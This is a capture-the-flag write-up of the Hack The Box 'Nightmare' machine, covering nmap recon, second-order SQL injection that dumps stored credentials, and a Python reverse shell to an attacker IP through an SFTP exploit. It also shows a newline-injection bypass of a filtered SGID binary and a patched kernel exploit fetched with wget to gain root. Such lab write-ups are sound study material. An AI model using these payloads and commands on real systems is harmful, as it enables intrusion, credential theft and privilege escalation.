Nightmare write-up by 0xEA31

This writeup is splitted in two parts. The first one is about kindof intended way to get root. Turned out that there is an interesting unintended way to get root. I’ll publish it in the comments, with full research details.

Before we begin, let me spend some words about the meaning of “intended”. I don’t like how we use it: no vulnerability is intended in the real world, they are all unintended, so to me it would be better to use “thought” or “planned” way to describe this concept.

That being said, let’s start!

Lession learned

  • second order sqli
  • exploit porting 64bit >> 32bit (kindof)
  • exploit customization
  • some bash-fu
  • some markdown (editing this file)

Nmap fast

nmap -T5 -p- -vvv -oA full_T5 10.10.10.66
Nmap scan report for 10.10.10.66
Host is up, received echo-reply ttl 63 (0.058s latency).
Scanned at 2018-03-24 13:15:46 CET for 223s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT     STATE SERVICE      REASON
80/tcp   open  http         syn-ack ttl 63
2222/tcp open  EtherNetIP-1 syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
## Nmap done at Sat Mar 24 13:19:29 2018 -- 1 IP address (1 host up) scanned in 222.48 seconds

Educated guess:

  • 80 webserver
  • 2222 ssh

Nmap Targeted

nmap -A -p80,2222- -vvv -oA targeted 10.10.10.66
Nmap scan report for 10.10.10.66
Host is up, received echo-reply ttl 63 (0.037s latency).
Scanned at 2018-03-24 13:38:09 CET for 321s
Not shown: 63313 filtered ports
Reason: 63313 no-responses
PORT     STATE SERVICE REASON         VERSION
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: NOTES
2222/tcp open  ssh     syn-ack ttl 63 (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-OpenSSH 32bit (not so recent ver)
| ssh-hostkey: 
|   1024 e2:71:84:5d:ed:07:89:98:68:8b:6e:78:da:84:4c:b5 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAOHCAip6mgd+JAcNfKGjeMkWDcuN8ZQP[...]
|   2048 bd:1c:11:9a:5b:15:d2:f6:28:76:c3:40:7c:80:6d:ec (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC32WHYHRqHAgS/dWz1OsSr[...]
|   256 bf:e8:25:bf:ca:92:55:bc:ca:a4:96:c7:43:d0:51:73 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlz[...]
|   256 6f:14:30:b1:39:47:54:b7:5a:01:be:96:2c:a7:96:58 (EdDSA)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICzPx4ZXFPSS+s0LXmSPYN2i71QuLZfDscN8dxAOtOCJ
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2222-TCP:V=7.60%I=7%D=3/24%Time=5AB647EC%P=x86_64-pc-linux-gnu%r(NU
SF:LL,2B,"SSH-2\.0-OpenSSH\x2032bit\x20\(not\x20so\x20recent\x20ver\)\r\n"
SF:);
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.10 - 4.8 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.8 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.12 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%)
No exact OS matches for host (test conditions non-ideal).
[...]
Uptime guess: 0.095 days (since Sat Mar 24 11:26:21 2018)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=253 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   43.14 ms 10.10.14.1
2   41.41 ms 10.10.10.66

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
## Nmap done at Sat Mar 24 13:43:30 2018 -- 1 IP address (1 host up) scanned in 323.00 seconds

Check with educated guess:

  • 80 webserver (ok)
  • 2222 SSH-2.0-OpenSSH 32bit (not so recent ver)

please note that it seems that SSH version has been removed/changed.

Web Server

With Burpsuite in background, we can browse to port 80

http://10.10.10.66/

Where we found a login form and a link to a registration form page.

                                              NOTES
Username: ____________________
Password: ____________________
* Login
* Register
     ____________________________________________________________________________________________

                                "Abandon all hope, you who enter here"
                                  "Nightmare" by Decoder & Stefano118

In register.php we can register with any username:password we like. Let’s start with a:a. Once logged, in we can post notes. Long story short, any text we enter both in title (newpost) and body(<?php phpinfo();?>) is inserted in the page as is:

                                               NOTES
   Welcome a - Logout
   Title: ____________________
   Text:
   _________________________________________________________________________________________________
   _________________________________________________________________________________________________
   Insert
   Select document to upload: ____________________ Upload
     ____________________________________________________________________________________________
   newpost
   <?php phpinfo();?>
     ____________________________________________________________________________________________
                                "Abandon all hope, you who enter here"
                                  "Nightmare" by Decoder & Stefano118

The upload form seems not working, even if the uploaded file seems to reach the server, at least measuring the upload time.
Anyway, the form source code reveals a directory:

<form action="notes.php" method="post" enctype="multipart/form-data">
	Select document to upload:
	<input type="hidden" name=folder value="documents/">
	<input type="file" name="fileToUpload" id="fileToUpload">
	<input type="submit" value="Upload" name="submit">
</form>

La Divina Commedia - Inferno - Canto Primo

Let’s browse to http://10.10.10.66/documents/

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "dante.txt" [3]=> string(9) "index.php" }

… and have a look to http://10.10.10.66/documents/dante.txt

Fwd ewrrg vwd useeaf va fgkljs nals
ea jaljgnsa hwj mfs kwdns gkumjs,
uzé ds vajalls nas wjs kesjjals.
[..]

Text is in unicode, and it is a rot(8) of the “Primo canto della Divina Commedia”.

Nel mezzo del cammin di nostra vita
mi ritrovai per una selva oscura,
ché la diritta via era smarrita.
[...]

Since one of the authors of this box is the same of the Minion box (Decoder), this seems to be another tribute to Dante.
Anyway, we can confirm that the upload form isn’t working (at least it does not upload anything here).

Second order sqli

Since the text seems to be inserted in the database as is, we may try some second order sqli on the register.php/notes.php pair of pages. So we can register these “usernames” (password whatever you may like: I used ‘a’ (without quotes)). You can see the output on the right:

'             >> SQL ERROR
'##            >> SQL ERROR
'--           >> SQL ERROR
a' or 1=1 #'  >> nothing (neither output nor errors)
')#'          >> nothing (neither output nor errors)

Let’s try to get the number of columns:

') union select 1#'   >> SQL ERROR
') union select 1,2#' >> prints 1,2

so: the query has two columns. Let’s use them:

') union SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES #'

notes
notes

notes
users

sysadmin
configs

sysadmin
users

## usernames and passwords from notes database

') union SELECT username, password FROM notes.users #'
admin
ee10c315eba2c75b403ea99136f5b48d
nightmare
ae719e828367a0c8f268eb996322eba4

## usernames and passwords from notes database (results edited manually to make them more readable)
') union SELECT username, password FROM sysadmin.users #'

admin:nimda
cisco:cisco123
adminstrator:Pyuhs738?183*hjO!
josh:tontochilegge
system:manager
root:HasdruBal78
decoder:HackerNumberOne!
ftpuser:@whereyougo?
sys:change_on_install
superuser:passw0rd
user:odiolafeta

If we use https://crackstation.net/ or https://hashkiller.co.uk/md5-decrypter.aspx we get ee10c315eba2c75b403ea99136f5b48d >> nimda and ae719e828367a0c8f268eb996322eba4 >> [Not found]

Exploiting sftp

With that list of creds, we can try to login info the SFTP server. The easiest try is with metasploit auxiliary/scanner/ssh/ssh_login module, that shows us ftpuser:@whereyougo? as a working credential.

With this piece of information we can try to login to SSH (as I told the banner has been tamepered):

ssh -t ftpuser@10.10.10.66 -p 2222 
PTY allocation request failed on channel 0

Nasty error, may be that is something related with the default shell?

ssh -t ftpuser@10.10.10.66 -p 2222 'id'
PTY allocation request failed on channel 0

No. It seems to be only a sftp OpenSSH deamon. Let’s explore the content of the box, for instance with Filezilla.
We can find a lot of things, including all the php source code, and mysql credentials and so on, but nothing that seems to be exploitable.

Out of ideas, I asked Google: sftp OpenSSH exploit which promptly replayed with : Full Disclosure: OpenSSH <=6.6 SFTP misconfiguration exploit for 64bit Linux, a handy OpenSSH <=6.6 SFTP misconfiguration exploit for 64bit Linux waiting for us.

But do we have a 32 bit sftp deamon, isn’t is? Let’s google deeper with a “32 bit” addenda. Turns out that I stroke it lucky, because if you try now, you may have to ask Google to limit his search after February 1th in order to get:

As you can read, this is a 32 bit porting of that quite old 64 bit exploit, published after Nightmare went online. Since I think that I never could be so smart even start to port an explot from 64 to 32 bit, please read that blog post to fully understand how it works.

So, can this step be done script kiddie way, i.e. copy/paste/modify/run the script?
No, because we have to remember that we cannot write anywhere and we have to use one of the two “allowed” port, 80 or 443 (just in case we forgot that this is an insane box…).
Since a locate python confirms that this software is installed, we can use a python reverse shell:

cmd = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.83\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
host = '10.10.10.66'
port = 2222
username = 'ftpuser'
password = '@whereyougo?'

which provide us a www-data owned reverse shell.

Becoming decoder (kind of…)

Once we have a shell, let’s try a quick win:

uname -a
Linux nightmare 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

As with SSH (do you remember nmap output for port 2222 ?), part of the description has been changed ([-xenial-] >> [+nightmare+]) but the version 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 is still enough to find a kernel exploit with google.

google "4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51" exploit

Yes!, got it! Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) - Linux local Exploit and kernel-exploits/poc.c at master · xairy/kernel-exploits · GitHub

Ehmmm, kind of… Since the authors put a lot of time on hardening the box, every file seems to be readonly to sftpuser and we cannot find any place to put our code. Moreover, some commands are disabled with ACLs. Among the others we cannot use:

getfacls
ps
top
pstree

We can use, at least, find with some bash-fu:

find / -user decoder 2>&1 | grep -v denied | grep -v directory | xargs ls -la
-rw-r-----  1 decoder decoder  220 Sep  1  2015 /home/decoder/.bash_logout
-rw-r-----  1 decoder decoder 3771 Sep  1  2015 /home/decoder/.bashrc
-rw-r-----  1 decoder decoder  675 Sep  1  2015 /home/decoder/.profile
-r--r-----+ 1 decoder decoder   33 Sep 12  2017 /home/decoder/user.txt

find / -group decoder 2>&1 | grep -v denied | grep -v directory | xargs ls -la
-rw-r-----  1 decoder decoder  220 Sep  1  2015 /home/decoder/.bash_logout
-rw-r-----  1 decoder decoder 3771 Sep  1  2015 /home/decoder/.bashrc
-rw-r-----  1 decoder decoder  675 Sep  1  2015 /home/decoder/.profile
-r--r-----+ 1 decoder decoder   33 Sep 12  2017 /home/decoder/user.txt
-rwxr-sr-x  1 root    decoder 9016 Feb 18  2016 /usr/bin/sls

/home/decoder:
total 28
drwxr-xr-x  3 root    decoder 4096 Sep 28  2017 .
drwxr-xr-x  3 root    root    4096 Sep 30  2017 ..
-rw-------  1 root    root       0 Sep 13  2017 .bash_history
-rw-r-----  1 decoder decoder  220 Sep  1  2015 .bash_logout
-rw-r-----  1 decoder decoder 3771 Sep  1  2015 .bashrc
-rw-r-----  1 decoder decoder  675 Sep  1  2015 .profile
drwx-wx--x  2 root    decoder 4096 Apr  9 15:37 test
-r--r-----+ 1 decoder decoder   33 Sep 12  2017 user.txt
ls: cannot open directory '/home/decoder/test': Permission denied

Let’s twiddle this inviting SGID /usr/bin/sls binary:

/usr/bin/sls
bin
boot
dev
etc
[...]
/usr/bin/sls /home
decoder
/usr/bin/sls -la /home
total 12
drwxr-xr-x   3 root root    4096 Sep 30  2017 .
drwxr-xr-x+ 24 root root    4096 Sep 30  2017 ..
drwxr-xr-x   3 root decoder 4096 Sep 28  2017 decoder

/usr/bin/sls nonsense
/bin/ls: cannot access 'nonsense': No such file or directory

So, it seems that it invokes /bin/ls, let’s issue some other commands on the remote machine:

strings /usr/bin/sls
objdump /usr/bin/sls -x

So, it uses strlen(), system(), strchr() and there are some weird strings.

It’s better to donwload the file via SFTP and analyze it with gdb/peda to understand what’s going on:

gdb sls
disass main
## copy the result on a file grep @plt that file

   0x000000000040078f <+41>:	call   0x400610 <malloc@plt>
   0x0000000000400827 <+193>:	call   0x4005d0 <strlen@plt>
   0x0000000000400849 <+227>:	call   0x4005d0 <strlen@plt>
   0x000000000040085f <+249>:	call   0x400620 <realloc@plt>
   0x00000000004008b7 <+337>:	call   0x400630 <strcat@plt>
   0x00000000004008ef <+393>:	call   0x400650 <strstr@plt>
   0x0000000000400905 <+415>:	call   0x4005f0 <strchr@plt>
   0x000000000040091a <+436>:	call   0x400640 <exit@plt>
   0x0000000000400932 <+460>:	call   0x4005f0 <strchr@plt>
   0x0000000000400941 <+475>:	call   0x400640 <exit@plt>
   0x000000000040095d <+503>:	call   0x4005e0 <system@plt>
   0x0000000000400969 <+515>:	call   0x4005c0 <free@plt>

That is to say:

allocate some memory  
check len  
reallocate memory  
concatenate strings  
check for substring  
check for char  
invoke sth via system  
free  

We have already seen that /bin/ls is invoked, so we may suppose that system() is used for that.
We have already seen that issuing /usr/bin/sls -la results in a /bin/ls -la command. So may be that /usr/bin/sls args are concatenated into the final command. Let’s check:

b main
b *0x00000000004008b7
r -la honolulu

0 ("/bin/ls ")
RBX: 0x7 
RCX: 0xfffffffffffffff7 
RDX: 0x7ffdbce4f3f8 --> 0x6f6e6f6800616c2d ('-la')
RSI: 0x7ffdbce4f3f8 --> 0x6f6e6f6800616c2d ('-la')
RDI: 0xe6f260 ("/bin/ls ")
RBP: 0x7ffdbce4ed90 --> 0x400980 (<__libc_csu_init>:	push   r15)
RSP: 0x7ffdbce4ed50 --> 0x7ffdbce4ee78 --> 0x7ffdbce4f3d7 ("/root/Documents/Nightmare_66/sls")
RIP: 0x4008b7 (<main+337>:	call   0x400630 <strcat@plt>)
R8 : 0x7fe9a0825c40 --> 0x0 
R9 : 0x7fe9a0512eb0 (<__wcpcpy>:	sub    rsi,rdi)
R10: 0x201 
R11: 0x7fe9a04f3cb0 (<__GI___libc_realloc>:	push   r15)
R12: 0x400670 (<_start>:	xor    ebp,ebp)
R13: 0x7ffdbce4ee70 --> 0x3 
R14: 0x0 
R15: 0x0
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4008ad <main+327>:	mov    rax,QWORD PTR [rbp-0x28]
   0x4008b1 <main+331>:	mov    rsi,rdx
   0x4008b4 <main+334>:	mov    rdi,rax
=> 0x4008b7 <main+337>:	call   0x400630 <strcat@plt>
   0x4008bc <main+342>:	add    DWORD PTR [rbp-0x2c],0x1
   0x4008c0 <main+346>:	mov    eax,DWORD PTR [rbp-0x2c]
   0x4008c3 <main+349>:	cmp    eax,DWORD PTR [rbp-0x34]
   0x4008c6 <main+352>:	jl     0x4007b5 <main+79>
Guessed arguments:
arg[0]: 0xe6f260 ("/bin/ls ")
arg[1]: 0x7ffdbce4f3f8 --> 0x6f6e6f6800616c2d ('-la')
arg[2]: 0x7ffdbce4f3f8 --> 0x6f6e6f6800616c2d ('-la')
[------------------------------------stack-------------------------------------]
0000| 0x7ffdbce4ed50 --> 0x7ffdbce4ee78 --> 0x7ffdbce4f3d7 ("/root/Documents/Nightmare_66/sls")
0008| 0x7ffdbce4ed58 --> 0x3004009cd 
0016| 0x7ffdbce4ed60 --> 0x1000000e0 
0024| 0x7ffdbce4ed68 --> 0xe6f260 ("/bin/ls ")
0032| 0x7ffdbce4ed70 --> 0x400980 (<__libc_csu_init>:	push   r15)
0040| 0x7ffdbce4ed78 --> 0x400a04 ("|`&><'\"\\[]{};")                         #'
0048| 0x7ffdbce4ed80 --> 0x7ffdbce4ee70 --> 0x3 
0056| 0x7ffdbce4ed88 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 3, 0x00000000004008b7 in main ()

ni

[----------------------------------registers-----------------------------------]
RAX: 0xe6f260 ("/bin/ls -la")
RBX: 0x7 
RCX: 0x7fe9a050f5c0 (<__strcat_sse2_unaligned+1616>:	mov    edx,DWORD PTR [rsi])
RDX: 0x616c2d ('-la')
RSI: 0x7ffdbce4f3f8 --> 0x6f6e6f6800616c2d ('-la')
RDI: 0xe6f268 --> 0x616c2d ('-la')
RBP: 0x7ffdbce4ed90 --> 0x400980 (<__libc_csu_init>:	push   r15)
RSP: 0x7ffdbce4ed50 --> 0x7ffdbce4ee78 --> 0x7ffdbce4f3d7 ("/root/Documents/Nightmare_66/sls")
RIP: 0x4008bc (<main+342>:	add    DWORD PTR [rbp-0x2c],0x1)
R8 : 0x7fe9a0825c40 --> 0x0 
R9 : 0xe6f260 ("/bin/ls -la")
R10: 0x4de 
R11: 0x7fe9a05e9c94 --> 0xfff2590cfff258fc 
R12: 0x400670 (<_start>:	xor    ebp,ebp)
R13: 0x7ffdbce4ee70 --> 0x3 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4008b1 <main+331>:	mov    rsi,rdx
   0x4008b4 <main+334>:	mov    rdi,rax
   0x4008b7 <main+337>:	call   0x400630 <strcat@plt>
=> 0x4008bc <main+342>:	add    DWORD PTR [rbp-0x2c],0x1
   0x4008c0 <main+346>:	mov    eax,DWORD PTR [rbp-0x2c]
   0x4008c3 <main+349>:	cmp    eax,DWORD PTR [rbp-0x34]
   0x4008c6 <main+352>:	jl     0x4007b5 <main+79>
   0x4008cc <main+358>:	mov    rax,QWORD PTR [rbp-0x28]
[------------------------------------stack-------------------------------------]
0000| 0x7ffdbce4ed50 --> 0x7ffdbce4ee78 --> 0x7ffdbce4f3d7 ("/root/Documents/Nightmare_66/sls")
0008| 0x7ffdbce4ed58 --> 0x3004009cd 
0016| 0x7ffdbce4ed60 --> 0x1000000e0 
0024| 0x7ffdbce4ed68 --> 0xe6f260 ("/bin/ls -la")
0032| 0x7ffdbce4ed70 --> 0x400980 (<__libc_csu_init>:	push   r15)
0040| 0x7ffdbce4ed78 --> 0x400a04 ("|`&><'\"\\[]{};")                         #'
0048| 0x7ffdbce4ed80 --> 0x7ffdbce4ee70 --> 0x3 
0056| 0x7ffdbce4ed88 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004008bc in main ()

ni
[...]
ni

[----------------------------------registers-----------------------------------]
RAX: 0xe6f260 ("/bin/ls -la honolulu")
RBX: 0xb ('\x0b')
RCX: 0x756c756c6f6e6f68 ('honolulu')
RDX: 0x0 
RSI: 0x75 ('u')
RDI: 0xe6f260 ("/bin/ls -la honolulu")
RBP: 0x7ffdbce4ed90 --> 0x400980 (<__libc_csu_init>:	push   r15)
RSP: 0x7ffdbce4ed50 --> 0x7ffdbce4ee78 --> 0x7ffdbce4f3d7 ("/root/Documents/Nightmare_66/sls")
RIP: 0x40095d (<main+503>:	call   0x4005e0 <system@plt>)
R8 : 0xfff1e000 
R9 : 0xe6f260 ("/bin/ls -la honolulu")
R10: 0x6fa 
R11: 0x7fe9a0506940 (<__strchr_sse2>:	movd   xmm1,esi)
R12: 0x400670 (<_start>:	xor    ebp,ebp)
R13: 0x7ffdbce4ee70 --> 0x3 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400954 <main+494>:	jne    0x40091f <main+441>
   0x400956 <main+496>:	mov    rax,QWORD PTR [rbp-0x28]
   0x40095a <main+500>:	mov    rdi,rax
=> 0x40095d <main+503>:	call   0x4005e0 <system@plt>
   0x400962 <main+508>:	mov    rax,QWORD PTR [rbp-0x28]
   0x400966 <main+512>:	mov    rdi,rax
   0x400969 <main+515>:	call   0x4005c0 <free@plt>
   0x40096e <main+520>:	mov    eax,0x0
Guessed arguments:
arg[0]: 0xe6f260 ("/bin/ls -la honolulu")
[------------------------------------stack-------------------------------------]
0000| 0x7ffdbce4ed50 --> 0x7ffdbce4ee78 --> 0x7ffdbce4f3d7 ("/root/Documents/Nightmare_66/sls")
0008| 0x7ffdbce4ed58 --> 0x3004009cd 
0016| 0x7ffdbce4ed60 --> 0x3000000e0 
0024| 0x7ffdbce4ed68 --> 0xe6f260 ("/bin/ls -la honolulu")
0032| 0x7ffdbce4ed70 --> 0xe6f274 --> 0x20d9100000000 
0040| 0x7ffdbce4ed78 --> 0x400a04 ("|`&><'\"\\[]{};")                         #'
0048| 0x7ffdbce4ed80 --> 0x7ffdbce4ee70 --> 0x3 
0056| 0x7ffdbce4ed88 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040095d in main ()

As we can see (0024| 0x7ffdbce4ed68 --> 0xe6f260 ("/bin/ls -la honolulu")) the command is actually concatenated as supposed.

With further debugging we can understand more sls internals. Long story short, if we fire /usr/bin/sls with -b there are two filters, one for the string $( and another one for any of these chars: |``&><'\"\\[]{}; everything that passes these filters is sent to a system() call to /bin/ls.

But how can we bypass both filters and have our desired command executed? Turned out that we have it at our fingertips: what’s the behavior of bash when we do not close a quote/double quote and hit enter? It goes on accepting multiple lines of commands, until we close it, when it executes all the commands, one after the other [Token recognition].

Let’s try it locally:

sh -c '
ls -la
id
whoami
'
[...]

Did you usually ctrl+c when you mistype a ' in a shell? Bad bet!

So to bypass these filters “just”:

/usr/bin/sls -b '
id'

or

/usr/bin/sls -b "
id"

or

bash
/usr/bin/sls -b $'\nid' #will not work if issued on a sh

Please note that both ' and " are included in the forbidden forest chars |``&><'\"\\[]{};. If you wonder why they work there, it’s because they are processed before the entire block of commands is sent to /usr/bin/sls.

/usr/bin/sls -b "
bash -ip"
bash-4.3$ id
uid=1002(ftpuser) gid=1002(ftpuser) egid=1001(decoder) groups=1001(decoder),1002(ftpuser)

so we are not decoder, but member of decoder group. As I said “kind of” decoder. Enough to cat /home/decoder/user.txt

Becoming root - Kernel exploit as decoder (kind of…)

As we have already seen, long time ago,

uname -a
Linux nightmare 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

led us to a kernel exploit. Since it autodetects distro (/etc/lsb-release) and kernel version (via uname) , we have to change poc.c to mypoc.c. adding a few lines of code.

--- /root/Documents/Nightmare_66/poc.c
+++ /root/Documents/Nightmare_66/mypoc.c
@@ -128,6 +128,7 @@
 	{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
 	{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
 	{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
+	{ "bladerunner", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
 };
 
 // Used to get root privileges.
@@ -328,7 +329,9 @@
 	if (strcmp("xenial", kernels[kernel].distro) == 0 &&
 	    strncmp("4.8.0", kernels[kernel].version, 5) == 0)
 		return get_kernel_addr_xenial(syslog, size);
-
+	if (strcmp("bladerunner", kernels[kernel].distro) == 0 &&
+	    strncmp("4.8.0", kernels[kernel].version, 5) == 0)
+		return get_kernel_addr_xenial(syslog, size);	
 	printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
 	exit(EXIT_FAILURE);
 }

after that we can compile it locally gcc mypoc.c -o mypoc, wget mypoc to /home/decoder/test/ and chmod 770 mypoc as decoder (kind of) and fire it as ftpuser, since decoder is untouchable.

wget http://10.10.14.188/mypoc
chmod 770 mypoc
ls -la mypoc
-rwxrwx--- 1 ftpuser decoder 28032 Mar 28 21:31 mypoc
bash-4.3$ exit
$ id
uid=1002(ftpuser) gid=1002(ftpuser) groups=1002(ftpuser)
$ /home/decoder/test/mypoc
bash: cannot set terminal process group (20833): Inappropriate ioctl for device
bash: no job control in this shell
root@nightmare:/# id
id
uid=0(root) gid=0(root) groups=0(root)

we are root and, of course we can

root@nightmare:/#cat root/root.txt
[...]

It seems that I cannot put the unintened way as a comment. Funny, as someone else says.

I’ll put it in another post in a while…